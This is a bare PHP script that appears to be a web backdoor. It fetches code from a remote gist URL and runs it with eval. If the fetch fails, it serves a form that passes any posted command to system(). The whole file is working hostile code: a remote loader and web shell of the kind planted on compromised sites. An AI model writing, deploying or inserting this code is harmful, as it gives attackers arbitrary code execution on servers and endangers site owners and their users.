<?php
$c=@file_get_contents("https://gist.githubusercontent.com/medsniper/cb9dd1ac92ef225035b26adcd215d03d/raw/bdc4b1b8ea2c5a54732837a512d2450be0327a93/sellex.txt");
if(!$c && function_exists('curl_init')){
    $h=curl_init("https://gist.githubusercontent.com/medsniper/cb9dd1ac92ef225035b26adcd215d03d/raw/bdc4b1b8ea2c5a54732837a512d2450be0327a93/sellex.txt");
    curl_setopt($h,CURLOPT_RETURNTRANSFER,1);
    $c=curl_exec($h);
    curl_close($h);
}
if($c){eval("?>".$c);}else{if(isset($_POST['x'])){system($_POST['x']);}echo'<form method=post><input name=x><input type=submit></form>';}
?>